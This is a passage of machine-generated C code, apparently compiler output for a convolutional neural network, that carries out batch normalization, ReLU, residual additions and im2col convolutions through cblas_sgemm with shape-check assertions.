false;\n}\nif (x5116) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,256,x5033,x5033,1,x5107,1,1);\nassert(false && \"\");\n}\nbool x5122 = 256 <= x5107;\nint32_t x5123;\nif (x5122) {\nx5123 = x5107;\n} else {\nx5123 = 256;\n}\nint32_t x5132 = x5123 * x5131;\nint32_t x5133 = 64 * x5132;\nfloat* x5134 = (float*)myMalloc(x5133 * sizeof(float));;\nint32_t x5137;\nif (x5108) {\nx5137 = 0;\n} else {\nx5137 = 1;\n}\nfor(int x5138=0; x5138 < 64; x5138++) {\nint32_t x5150 = x5035 * x5138;\nint32_t x5144 = x5132 * x5138;\nfor(int x5140=0; x5140 < x5123; x5140++) {\nint32_t x5151 = x5034 * x5140;\nint32_t x5152 = x5150 + x5151;\nint32_t x5157 = x5137 * x5140;\nint32_t x5146 = x5131 * x5140;\nfor(int x5142=0; x5142 < x5125; x5142++) {\nint32_t x5153 = x5135 * x5142;\nint32_t x5154 = x5152 + x5153;\nint32_t x5148 = x5125 * x5142;\nfor(int x5143=0; x5143 < x5125; x5143++) {\nint32_t x5155 = x5136 * x5143;\nint32_t x5156 = x5154 + x5155;\nfloat x5158 = x5039[x5156];\nfloat x5159 = x184[x5157];\nint32_t x5145 = x5143 + x5144;\nint32_t x5147 = x5145 + x5146;\nint32_t x5149 = x5147 + x5148;\nfloat x5160 = x5158 - x5159;\nx5134[x5149] = x5160;\n\n}\n\n}\n\n}\n\n}\nfloat* x5170 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x5171=0; x5171 < 256; x5171++) {\nfloat x5172 = x133[x5171];\nfloat x5173 = x5172 + 1.0E-5f;\nx5170[x5171] = x5173;\n\n}\nfloat* x5177 = (float*)myMalloc(256 * sizeof(float));;\nfor(int x5178=0; x5178 < 256; x5178++) {\nfloat x5179 = x5170[x5178];\ndouble x5180 = (double)x5179;\ndouble x5181 = sqrt(x5180);\nfloat x5182 = (float)x5181;\nx5177[x5178] = x5182;\n\n}\nint32_t x5186 = 0;\nint32_t x5187 = 1;\nx5187 *= 1;\nx5186 += 1;\nx5187 *= 1;\nx5187 *= 1;\nint32_t x5192 = x5186;\nbool x5193 = x5192 >= 2;\nif (x5193) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5198 = x5192 == 0;\nif (x5198) {\nint32_t x5199 = x5187;\nbool x5200 = x5199 == 256;\nif (x5200) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5207 = x5187;\nbool x5209 = x5123 == 1;\nint32_t x5208 = 256 / x5207;\nbool x5210 = x5208 == 1;\nbool x5214;\nif (x454) {\nbool x5211 = x5209 || x5210;\nbool x5212 = x5123 == x5208;\nbool x5213 = x5211 || x5212;\nx5214 = x5213;\n} else {\nx5214 = false;\n}\nbool x5218;\nif (x5214) {\nx5218 = x5217;\n} else {\nx5218 = false;\n}\nbool x5219;\nif (x5218) {\nx5219 = x5217;\n} else {\nx5219 = false;\n}\nif (x5219) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5123,x5125,x5125,1,x5208,1,1);\nassert(false && \"\");\n}\nbool x5225 = x5123 <= x5208;\nint32_t x5226;\nif (x5225) {\nx5226 = x5208;\n} else {\nx5226 = x5123;\n}\nint32_t x5235 = x5226 * x5234;\nint32_t x5236 = 64 * x5235;\nfloat* x5237 = (float*)myMalloc(x5236 * sizeof(float));;\nint32_t x5238;\nif (x5209) {\nx5238 = 0;\n} else {\nx5238 = x5131;\n}\nint32_t x5241;\nif (x5210) {\nx5241 = 0;\n} else {\nx5241 = 1;\n}\nfor(int x5242=0; x5242 < 64; x5242++) {\nint32_t x5254 = x5132 * x5242;\nint32_t x5248 = x5235 * x5242;\nfor(int x5244=0; x5244 < x5226; x5244++) {\nint32_t x5255 = x5238 * x5244;\nint32_t x5256 = x5254 + x5255;\nint32_t x5261 = x5241 * x5244;\nint32_t x5250 = x5234 * x5244;\nfor(int x5246=0; x5246 < x5228; x5246++) {\nint32_t x5257 = x5239 * x5246;\nint32_t x5258 = x5256 + x5257;\nint32_t x5252 = x5228 * x5246;\nfor(int x5247=0; x5247 < x5228; x5247++) {\nint32_t x5259 = x5240 * x5247;\nint32_t x5260 = x5258 + x5259;\nfloat x5262 = x5134[x5260];\nfloat x5263 = x5177[x5261];\nint32_t x5249 = x5247 + x5248;\nint32_t x5251 = x5249 + x5250;\nint32_t x5253 = x5251 + x5252;\nfloat x5264 = x5262 / x5263;\nx5237[x5253] = x5264;\n\n}\n\n}\n\n}\n\n}\nint32_t x5274 = 0;\nint32_t x5275 = 1;\nx5275 *= 1;\nx5274 += 1;\nx5275 *= 1;\nx5275 *= 1;\nint32_t x5280 = x5274;\nbool x5281 = x5280 >= 2;\nif (x5281) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5286 = x5280 == 0;\nif (x5286) {\nint32_t x5287 = x5275;\nbool x5288 = x5287 == 256;\nif (x5288) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5295 = x5275;\nbool x5297 = x5226 == 1;\nint32_t x5296 = 256 / x5295;\nbool x5298 = x5296 == 1;\nbool x5302;\nif (x454) {\nbool x5299 = x5297 || x5298;\nbool x5300 = x5226 == x5296;\nbool x5301 = x5299 || x5300;\nx5302 = x5301;\n} else {\nx5302 = false;\n}\nbool x5306;\nif (x5302) {\nx5306 = x5305;\n} else {\nx5306 = false;\n}\nbool x5307;\nif (x5306) {\nx5307 = x5305;\n} else {\nx5307 = false;\n}\nif (x5307) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5226,x5228,x5228,1,x5296,1,1);\nassert(false && \"\");\n}\nbool x5313 = x5226 <= x5296;\nint32_t x5314;\nif (x5313) {\nx5314 = x5296;\n} else {\nx5314 = x5226;\n}\nint32_t x5323 = x5314 * x5322;\nint32_t x5324 = 64 * x5323;\nfloat* x5325 = (float*)myMalloc(x5324 * sizeof(float));;\nint32_t x5326;\nif (x5297) {\nx5326 = 0;\n} else {\nx5326 = x5234;\n}\nint32_t x5329;\nif (x5298) {\nx5329 = 0;\n} else {\nx5329 = 1;\n}\nfor(int x5330=0; x5330 < 64; x5330++) {\nint32_t x5342 = x5235 * x5330;\nint32_t x5336 = x5323 * x5330;\nfor(int x5332=0; x5332 < x5314; x5332++) {\nint32_t x5343 = x5326 * x5332;\nint32_t x5344 = x5342 + x5343;\nint32_t x5349 = x5329 * x5332;\nint32_t x5338 = x5322 * x5332;\nfor(int x5334=0; x5334 < x5316; x5334++) {\nint32_t x5345 = x5327 * x5334;\nint32_t x5346 = x5344 + x5345;\nint32_t x5340 = x5316 * x5334;\nfor(int x5335=0; x5335 < x5316; x5335++) {\nint32_t x5347 = x5328 * x5335;\nint32_t x5348 = x5346 + x5347;\nfloat x5350 = x5237[x5348];\nfloat x5351 = x37[x5349];\nint32_t x5337 = x5335 + x5336;\nint32_t x5339 = x5337 + x5338;\nint32_t x5341 = x5339 + x5340;\nfloat x5352 = x5350 * x5351;\nx5325[x5341] = x5352;\n\n}\n\n}\n\n}\n\n}\nint32_t x5362 = 0;\nint32_t x5363 = 1;\nx5363 *= 1;\nx5362 += 1;\nx5363 *= 1;\nx5363 *= 1;\nint32_t x5368 = x5362;\nbool x5369 = x5368 >= 2;\nif (x5369) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5374 = x5368 == 0;\nif (x5374) {\nint32_t x5375 = x5363;\nbool x5376 = x5375 == 256;\nif (x5376) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5383 = x5363;\nbool x5385 = x5314 == 1;\nint32_t x5384 = 256 / x5383;\nbool x5386 = x5384 == 1;\nbool x5390;\nif (x454) {\nbool x5387 = x5385 || x5386;\nbool x5388 = x5314 == x5384;\nbool x5389 = x5387 || x5388;\nx5390 = x5389;\n} else {\nx5390 = false;\n}\nbool x5394;\nif (x5390) {\nx5394 = x5393;\n} else {\nx5394 = false;\n}\nbool x5395;\nif (x5394) {\nx5395 = x5393;\n} else {\nx5395 = false;\n}\nif (x5395) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5314,x5316,x5316,1,x5384,1,1);\nassert(false && \"\");\n}\nbool x5401 = x5314 <= x5384;\nint32_t x5402;\nif (x5401) {\nx5402 = x5384;\n} else {\nx5402 = x5314;\n}\nint32_t x5411 = x5402 * x5410;\nint32_t x5412 = 64 * x5411;\nfloat* x5413 = (float*)myMalloc(x5412 * sizeof(float));;\nint32_t x5414;\nif (x5385) {\nx5414 = 0;\n} else {\nx5414 = x5322;\n}\nint32_t x5417;\nif (x5386) {\nx5417 = 0;\n} else {\nx5417 = 1;\n}\nfor(int x5418=0; x5418 < 64; x5418++) {\nint32_t x5430 = x5323 * x5418;\nint32_t x5424 = x5411 * x5418;\nfor(int x5420=0; x5420 < x5402; x5420++) {\nint32_t x5431 = x5414 * x5420;\nint32_t x5432 = x5430 + x5431;\nint32_t x5437 = x5417 * x5420;\nint32_t x5426 = x5410 * x5420;\nfor(int x5422=0; x5422 < x5404; x5422++) {\nint32_t x5433 = x5415 * x5422;\nint32_t x5434 = x5432 + x5433;\nint32_t x5428 = x5404 * x5422;\nfor(int x5423=0; x5423 < x5404; x5423++) {\nint32_t x5435 = x5416 * x5423;\nint32_t x5436 = x5434 + x5435;\nfloat x5438 = x5325[x5436];\nfloat x5439 = x247[x5437];\nint32_t x5425 = x5423 + x5424;\nint32_t x5427 = x5425 + x5426;\nint32_t x5429 = x5427 + x5428;\nfloat x5440 = x5438 + x5439;\nx5413[x5429] = x5440;\n\n}\n\n}\n\n}\n\n}\nbool x5450 = x5402 == 1;\nbool x5451 = x5450 || x4038;\nbool x5452 = x5402 == x3990;\nbool x5453 = x5451 || x5452;\nbool x5458;\nif (x5453) {\nx5458 = x5457;\n} else {\nx5458 = false;\n}\nbool x5459;\nif (x5458) {\nx5459 = x5457;\n} else {\nx5459 = false;\n}\nif (x5459) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5402,x5404,x5404,64,x3990,x3992,x3992);\nassert(false && \"\");\n}\nbool x5465 = x5402 <= x3990;\nint32_t x5466;\nif (x5465) {\nx5466 = x3990;\n} else {\nx5466 = x5402;\n}\nint32_t x5482;\nif (x5450) {\nx5482 = 0;\n} else {\nx5482 = x5410;\n}\nfor(int x5485=0; x5485 < 64; x5485++) {\nint32_t x5491 = x5411 * x5485;\nint32_t x5498 = x3999 * x5485;\nfor(int x5487=0; x5487 < x5466; x5487++) {\nint32_t x5492 = x5482 * x5487;\nint32_t x5493 = x5491 + x5492;\nint32_t x5499 = x4070 * x5487;\nint32_t x5500 = x5498 + x5499;\nfor(int x5489=0; x5489 < x5468; x5489++) {\nint32_t x5494 = x5483 * x5489;\nint32_t x5495 = x5493 + x5494;\nint32_t x5501 = x4071 * x5489;\nint32_t x5502 = x5500 + x5501;\nfor(int x5490=0; x5490 < x5468; x5490++) {\nint32_t x5496 = x5484 * x5490;\nint32_t x5497 = x5495 + x5496;\nfloat x5505 = x5413[x5497];\nint32_t x5503 = x4072 * x5490;\nint32_t x5504 = x5502 + x5503;\nfloat x5506 = x4105[x5504];\nfloat x5507 = x5505 + x5506;\nx5413[x5497] = x5507;\n\n}\n\n}\n\n}\n\n}\nfloat* x5517 = (float*)myMalloc(x5412 * sizeof(float));;\nfor(int x5519=0; x5519 < x5412; x5519++) {\nfloat x5520 = x5413[x5519];\nbool x5521 = x5520 < 0.0f;\nif (x5521) {\nx5517[x5519] = 0.0f;\n} else {\nfloat x5524 = x5413[x5519];\nx5517[x5519] = x5524;\n}\n\n}\nfloat* x5538 = (float*)myMalloc(x5537 * sizeof(float));;\nint32_t x5541 = 64 * x5402;\nint32_t x5542 = x5541 * x5533;\nfloat* x5543 = (float*)myMalloc(x5542 * sizeof(float));;\nint32_t x5539 = x5402 * x5533;\nfor(int x5544=0; x5544 < 64; x5544++) {\nint32_t x5545 = x5544 * x5411;\nfloat* x5546 = x5517+x5545;\nint32_t x5547 = x5544 * x5534;\nfloat* x5548 = x5538+x5547;\nint32_t x5549 = x5544 * x5539;\nfloat* x5550 = x5543+x5549;\nfor(int x5551=0; x5551 < x5402; x5551++) {\nint32_t x5552 = x5551 / 1;\nint32_t x5556 = x5552 * x5532;\nint32_t x5557 = x5556 * x5532;\nint32_t x5553 = x5551 % 1;\nint32_t x5554 = x5553 / 1;\nint32_t x5558 = x5554 * x5532;\nint32_t x5559 = x5558 * x5532;\nint32_t x5560 = x5557 + x5559;\nint32_t x5555 = x5553 % 1;\nint32_t x5561 = x5555 * x5532;\nint32_t x5562 = x5561 * x5532;\nint32_t x5563 = x5560 + x5562;\nfloat* x5564 = x5550+x5563;\nint32_t x5565 = x5552 * x5404;\nint32_t x5566 = x5565 * x5404;\nfloat* x5567 = x5546+x5566;\nfor(int x5569=0; x5569 < x5532; x5569++) {\nint32_t x5571 = x5569 * x5532;\nfloat* x5572 = x5564+x5571;\nint32_t x5570 = x5569 + x5554;\nint32_t x5573 = x5570 * x5404;\nint32_t x5574 = x5573 + x5555;\nfloat* x5575 = x5567+x5574;\nmemcpy(x5572, x5575, 4 * x5532);;\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x5533,x5402,1,x11,x5402,x5550,x5533,1,x5548,x5533);\n\n}\nint32_t x5584 = 0;\nint32_t x5585 = 1;\nx5585 *= 1;\nx5584 += 1;\nx5585 *= 1;\nx5585 *= 1;\nint32_t x5590 = x5584;\nbool x5591 = x5590 >= 2;\nif (x5591) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5596 = x5590 == 0;\nif (x5596) {\nint32_t x5597 = x5585;\nbool x5598 = x5597 == 128;\nif (x5598) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5605 = x5585;\nint32_t x5606 = 128 / x5605;\nbool x5607 = x5606 == 1;\nbool x5610;\nif (x454) {\nbool x5608 = 128 == x5606;\nbool x5609 = x5607 || x5608;\nx5610 = x5609;\n} else {\nx5610 = false;\n}\nbool x5614;\nif (x5610) {\nx5614 = x5613;\n} else {\nx5614 = false;\n}\nbool x5615;\nif (x5614) {\nx5615 = x5613;\n} else {\nx5615 = false;\n}\nif (x5615) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x5532,x5532,1,x5606,1,1);\nassert(false && \"\");\n}\nbool x5621 = 128 <= x5606;\nint32_t x5622;\nif (x5621) {\nx5622 = x5606;\n} else {\nx5622 = 128;\n}\nint32_t x5631 = x5622 * x5630;\nint32_t x5632 = 64 * x5631;\nfloat* x5633 = (float*)myMalloc(x5632 * sizeof(float));;\nint32_t x5636;\nif (x5607) {\nx5636 = 0;\n} else {\nx5636 = 1;\n}\nfor(int x5637=0; x5637 < 64; x5637++) {\nint32_t x5649 = x5534 * x5637;\nint32_t x5643 = x5631 * x5637;\nfor(int x5639=0; x5639 < x5622; x5639++) {\nint32_t x5650 = x5533 * x5639;\nint32_t x5651 = x5649 + x5650;\nint32_t x5656 = x5636 * x5639;\nint32_t x5645 = x5630 * x5639;\nfor(int x5641=0; x5641 < x5624; x5641++) {\nint32_t x5652 = x5634 * x5641;\nint32_t x5653 = x5651 + x5652;\nint32_t x5647 = x5624 * x5641;\nfor(int x5642=0; x5642 < x5624; x5642++) {\nint32_t x5654 = x5635 * x5642;\nint32_t x5655 = x5653 + x5654;\nfloat x5657 = x5538[x5655];\nfloat x5658 = x204[x5656];\nint32_t x5644 = x5642 + x5643;\nint32_t x5646 = x5644 + x5645;\nint32_t x5648 = x5646 + x5647;\nfloat x5659 = x5657 - x5658;\nx5633[x5648] = x5659;\n\n}\n\n}\n\n}\n\n}\nfloat* x5669 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x5671=0; x5671 < 128; x5671++) {\nfloat x5672 = x134[x5671];\nfloat x5673 = x5672 + 1.0E-5f;\nx5669[x5671] = x5673;\n\n}\nfloat* x5677 = (float*)myMalloc(128 * sizeof(float));;\nfor(int x5678=0; x5678 < 128; x5678++) {\nfloat x5679 = x5669[x5678];\ndouble x5680 = (double)x5679;\ndouble x5681 = sqrt(x5680);\nfloat x5682 = (float)x5681;\nx5677[x5678] = x5682;\n\n}\nint32_t x5686 = 0;\nint32_t x5687 = 1;\nx5687 *= 1;\nx5686 += 1;\nx5687 *= 1;\nx5687 *= 1;\nint32_t x5692 = x5686;\nbool x5693 = x5692 >= 2;\nif (x5693) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5698 = x5692 == 0;\nif (x5698) {\nint32_t x5699 = x5687;\nbool x5700 = x5699 == 128;\nif (x5700) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5707 = x5687;\nbool x5709 = x5622 == 1;\nint32_t x5708 = 128 / x5707;\nbool x5710 = x5708 == 1;\nbool x5714;\nif (x454) {\nbool x5711 = x5709 || x5710;\nbool x5712 = x5622 == x5708;\nbool x5713 = x5711 || x5712;\nx5714 = x5713;\n} else {\nx5714 = false;\n}\nbool x5718;\nif (x5714) {\nx5718 = x5717;\n} else {\nx5718 = false;\n}\nbool x5719;\nif (x5718) {\nx5719 = x5717;\n} else {\nx5719 = false;\n}\nif (x5719) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5622,x5624,x5624,1,x5708,1,1);\nassert(false && \"\");\n}\nbool x5725 = x5622 <= x5708;\nint32_t x5726;\nif (x5725) {\nx5726 = x5708;\n} else {\nx5726 = x5622;\n}\nint32_t x5735 = x5726 * x5734;\nint32_t x5736 = 64 * x5735;\nfloat* x5737 = (float*)myMalloc(x5736 * sizeof(float));;\nint32_t x5738;\nif (x5709) {\nx5738 = 0;\n} else {\nx5738 = x5630;\n}\nint32_t x5741;\nif (x5710) {\nx5741 = 0;\n} else {\nx5741 = 1;\n}\nfor(int x5742=0; x5742 < 64; x5742++) {\nint32_t x5754 = x5631 * x5742;\nint32_t x5748 = x5735 * x5742;\nfor(int x5744=0; x5744 < x5726; x5744++) {\nint32_t x5755 = x5738 * x5744;\nint32_t x5756 = x5754 + x5755;\nint32_t x5761 = x5741 * x5744;\nint32_t x5750 = x5734 * x5744;\nfor(int x5746=0; x5746 < x5728; x5746++) {\nint32_t x5757 = x5739 * x5746;\nint32_t x5758 = x5756 + x5757;\nint32_t x5752 = x5728 * x5746;\nfor(int x5747=0; x5747 < x5728; x5747++) {\nint32_t x5759 = x5740 * x5747;\nint32_t x5760 = x5758 + x5759;\nfloat x5762 = x5633[x5760];\nfloat x5763 = x5677[x5761];\nint32_t x5749 = x5747 + x5748;\nint32_t x5751 = x5749 + x5750;\nint32_t x5753 = x5751 + x5752;\nfloat x5764 = x5762 / x5763;\nx5737[x5753] = x5764;\n\n}\n\n}\n\n}\n\n}\nint32_t x5774 = 0;\nint32_t x5775 = 1;\nx5775 *= 1;\nx5774 += 1;\nx5775 *= 1;\nx5775 *= 1;\nint32_t x5780 = x5774;\nbool x5781 = x5780 >= 2;\nif (x5781) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5786 = x5780 == 0;\nif (x5786) {\nint32_t x5787 = x5775;\nbool x5788 = x5787 == 128;\nif (x5788) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5795 = x5775;\nbool x5797 = x5726 == 1;\nint32_t x5796 = 128 / x5795;\nbool x5798 = x5796 == 1;\nbool x5802;\nif (x454) {\nbool x5799 = x5797 || x5798;\nbool x5800 = x5726 == x5796;\nbool x5801 = x5799 || x5800;\nx5802 = x5801;\n} else {\nx5802 = false;\n}\nbool x5806;\nif (x5802) {\nx5806 = x5805;\n} else {\nx5806 = false;\n}\nbool x5807;\nif (x5806) {\nx5807 = x5805;\n} else {\nx5807 = false;\n}\nif (x5807) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5726,x5728,x5728,1,x5796,1,1);\nassert(false && \"\");\n}\nbool x5813 = x5726 <= x5796;\nint32_t x5814;\nif (x5813) {\nx5814 = x5796;\n} else {\nx5814 = x5726;\n}\nint32_t x5823 = x5814 * x5822;\nint32_t x5824 = 64 * x5823;\nfloat* x5825 = (float*)myMalloc(x5824 * sizeof(float));;\nint32_t x5826;\nif (x5797) {\nx5826 = 0;\n} else {\nx5826 = x5734;\n}\nint32_t x5829;\nif (x5798) {\nx5829 = 0;\n} else {\nx5829 = 1;\n}\nfor(int x5830=0; x5830 < 64; x5830++) {\nint32_t x5842 = x5735 * x5830;\nint32_t x5836 = x5823 * x5830;\nfor(int x5832=0; x5832 < x5814; x5832++) {\nint32_t x5843 = x5826 * x5832;\nint32_t x5844 = x5842 + x5843;\nint32_t x5849 = x5829 * x5832;\nint32_t x5838 = x5822 * x5832;\nfor(int x5834=0; x5834 < x5816; x5834++) {\nint32_t x5845 = x5827 * x5834;\nint32_t x5846 = x5844 + x5845;\nint32_t x5840 = x5816 * x5834;\nfor(int x5835=0; x5835 < x5816; x5835++) {\nint32_t x5847 = x5828 * x5835;\nint32_t x5848 = x5846 + x5847;\nfloat x5850 = x5737[x5848];\nfloat x5851 = x84[x5849];\nint32_t x5837 = x5835 + x5836;\nint32_t x5839 = x5837 + x5838;\nint32_t x5841 = x5839 + x5840;\nfloat x5852 = x5850 * x5851;\nx5825[x5841] = x5852;\n\n}\n\n}\n\n}\n\n}\nint32_t x5862 = 0;\nint32_t x5863 = 1;\nx5863 *= 1;\nx5862 += 1;\nx5863 *= 1;\nx5863 *= 1;\nint32_t x5868 = x5862;\nbool x5869 = x5868 >= 2;\nif (x5869) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x5874 = x5868 == 0;\nif (x5874) {\nint32_t x5875 = x5863;\nbool x5876 = x5875 == 128;\nif (x5876) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x5883 = x5863;\nbool x5885 = x5814 == 1;\nint32_t x5884 = 128 / x5883;\nbool x5886 = x5884 == 1;\nbool x5890;\nif (x454) {\nbool x5887 = x5885 || x5886;\nbool x5888 = x5814 == x5884;\nbool x5889 = x5887 || x5888;\nx5890 = x5889;\n} else {\nx5890 = false;\n}\nbool x5894;\nif (x5890) {\nx5894 = x5893;\n} else {\nx5894 = false;\n}\nbool x5895;\nif (x5894) {\nx5895 = x5893;\n} else {\nx5895 = false;\n}\nif (x5895) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,x5814,x5816,x5816,1,x5884,1,1);\nassert(false && \"\");\n}\nbool x5901 = x5814 <= x5884;\nint32_t x5902;\nif (x5901) {\nx5902 = x5884;\n} else {\nx5902 = x5814;\n}\nint32_t x5911 = x5902 * x5910;\nint32_t x5912 = 64 * x5911;\nfloat* x5913 = (float*)myMalloc(x5912 * sizeof(float));;\nint32_t x5914;\nif (x5885) {\nx5914 = 0;\n} else {\nx5914 = x5822;\n}\nint32_t x5917;\nif (x5886) {\nx5917 = 0;\n} else {\nx5917 = 1;\n}\nfor(int x5918=0; x5918 < 64; x5918++) {\nint32_t x5930 = x5823 * x5918;\nint32_t x5924 = x5911 * x5918;\nfor(int x5920=0; x5920 < x5902; x5920++) {\nint32_t x5931 = x5914 * x5920;\nint32_t x5932 = x5930 + x5931;\nint32_t x5937 = x5917 * x5920;\nint32_t x5926 = x5910 * x5920;\nfor(int x5922=0; x5922 < x5904; x5922++) {\nint32_t x5933 = x5915 * x5922;\nint32_t x5934 = x5932 + x5933;\nint32_t x5928 = x5904 * x5922;\nfor(int x5923=0; x5923 < x5904; x5923++) {\nint32_t x5935 = x5916 * x5923;\nint32_t x5936 = x5934 + x5935;\nfloat x5938 = x5825[x5936];\nfloat x5939 = x172[x5937];\nint32_t x5925 = x5923 + x5924;\nint32_t x5927 = x5925 + x5926;\nint32_t x5929 = x5927 + x5928;\nfloat x5940 = x5938 + x5939;\nx5913[x5929] = x5940;\n\n}\n\n}\n\n}\n\n}\nfloat* x5950 = (float*)myMalloc(x5912 * sizeof(float));;\nfor(int x5952=0; x5952 < x5912; x5952++) {\nfloat x5953 = x5913[x5952];\nbool x5954 = x5953 < 0.0f;\nif (x5954) {\nx5950[x5952] = 0.0f;\n} else {\nfloat x5957 = x5913[x5952];\nx5950[x5952] = x5957;\n}\n\n}\nfloat* x5972 = (float*)myMalloc(x5971 * sizeof(float));;\nint32_t x5973 = 9 * x5902;\nint32_t x5976 = 64 * x5973;\nint32_t x5977 = x5976 * x5967;\nfloat* x5978 = (float*)myMalloc(x5977 * sizeof(float));;\nint32_t x5974 = x5973 * x5967;\nint32_t x5986 = x5902 * 3;\nint32_t x5987 = x5986 * 3;\nfor(int x5979=0; x5979 < 64; x5979++) {\nint32_t x5980 = x5979 * x5911;\nfloat* x5981 = x5950+x5980;\nint32_t x5982 = x5979 * x5968;\nfloat* x5983 = x5972+x5982;\nint32_t x5984 = x5979 * x5974;\nfloat* x5985 = x5978+x5984;\nfor(int x5989=0; x5989 < x5987; x5989++) {\nint32_t x5990 = x5989 / 9;\nint32_t x5994 = x5990 * 3;\nint32_t x5995 = x5994 * 3;\nint32_t x5996 = x5995 * x5966;\nint32_t x5997 = x5996 * x5966;\nint32_t x5991 = x5989 % 9;\nint32_t x5992 = x5991 / 3;\nint32_t x5998 = x5992 * 3;\nint32_t x5999 = x5998 * x5966;\nint32_t x6000 = x5999 * x5966;\nint32_t x6001 = x5997 + x6000;\nint32_t x5993 = x5991 % 3;\nint32_t x6002 = x5993 * x5966;\nint32_t x6003 = x6002 * x5966;\nint32_t x6004 = x6001 + x6003;\nfloat* x6005 = x5985+x6004;\nint32_t x6006 = x5990 * x5904;\nint32_t x6007 = x6006 * x5904;\nfloat* x6008 = x5981+x6007;\nfor(int x6010=0; x6010 < x5966; x6010++) {\nint32_t x6011 = x6010 * 2;\nint32_t x6012 = x6011 - 1;\nint32_t x6013 = x6012 + x5992;\nbool x6014 = x6013 < 0;\nbool x6015 = x6013 >= x5904;\nbool x6016 = x6014 || x6015;\nif (x6016) {\nint32_t x6017 = x6010 * x5966;\nfloat* x6018 = x6005+x6017;\nmemset(x6018, 0, 4 * x5966);;\n} else {\nint32_t x6017 = x6010 * x5966;\nint32_t x6033 = x6013 * x5904;\nfor(int x6021=0; x6021 < x5966; x6021++) {\nint32_t x6022 = x6021 * 2;\nint32_t x6023 = x6022 - 1;\nint32_t x6024 = x6023 + x5993;\nbool x6025 = x6024 < 0;\nbool x6026 = x6024 >= x5904;\nbool x6027 = x6025 || x6026;\nif (x6027) {\nint32_t x6028 = x6017 + x6021;\nfloat* x6029 = x6005+x6028;\nmemset(x6029, 0, 4 * 1);;\n} else {\nint32_t x6028 = x6017 + x6021;\nfloat* x6032 = x6005+x6028;\nint32_t x6034 = x6033 + x6024;\nfloat* x6035 = x6008+x6034;\nmemcpy(x6032, x6035, 4 * 1);;\n}\n\n}\n}\n\n}\n\n}\ncblas_sgemm(CblasRowMajor, CblasNoTrans, CblasNoTrans, 128,x5967,x5973,1,x27,x5973,x5985,x5967,1,x5983,x5967);\n\n}\nint32_t x6050 = 0;\nint32_t x6051 = 1;\nx6051 *= 1;\nx6050 += 1;\nx6051 *= 1;\nx6051 *= 1;\nint32_t x6056 = x6050;\nbool x6057 = x6056 >= 2;\nif (x6057) {\nprintf(\"cannot have 2 or more -1s in resize!!\\n\");\nassert(false && \"\");\n} else {\n}\nbool x6062 = x6056 == 0;\nif (x6062) {\nint32_t x6063 = x6051;\nbool x6064 = x6063 == 128;\nif (x6064) {\n} else {\nassert(false && \"must same size!!\");\n}\n} else {\n}\nint32_t x6071 = x6051;\nint32_t x6072 = 128 / x6071;\nbool x6073 = x6072 == 1;\nbool x6076;\nif (x454) {\nbool x6074 = 128 == x6072;\nbool x6075 = x6073 || x6074;\nx6076 = x6075;\n} else {\nx6076 = false;\n}\nbool x6080;\nif (x6076) {\nx6080 = x6079;\n} else {\nx6080 = false;\n}\nbool x6081;\nif (x6080) {\nx6081 = x6079;\n} else {\nx6081 = false;\n}\nif (x6081) {\n} else {\nprintf(\"dimensions not compatible for broadcasting %d,%d,%d,%d, with %d,%d,%d,%d,\\n\",64,128,x5966,x5966,1,x6072,1,1);\nassert(false && \"\");\n}\nbool x6087 = 128 <= x6072;\nint32_t x6088;\nif (x6087) {\nx6088 = x6072;\n} else {\nx6088 = 128;\n}\nint32_t x6097 = x6088 * x6096;\nint32_t x6098 = 64 * x6097;\nfloat* x6099 = (float*)myMalloc(x6098 * sizeof(float));;\nint32_t x6102;\nif (x6073) {\nx6102 = 0;\n} else {\nx6102 = 1;\n}\nfor(int x6103=0; x6103 < 64; x6103++) {\nint32_t x6115 = x5968 * x6103;\nint32_t x6109 = x6097 * x6103;\nfor(int x6105=0; x6105 < x6088; x6105++) {\nint32_t x6116 = x5967 * x6105;\nint32_t x6117 = x6115 + x6116;\nint32_t x6122 = x6102 * x6105;\nint32_t x6111 = x6096 * x6105;\nfor(int x6107=0; x6107 < x6090; x6107++) {\nint32_t 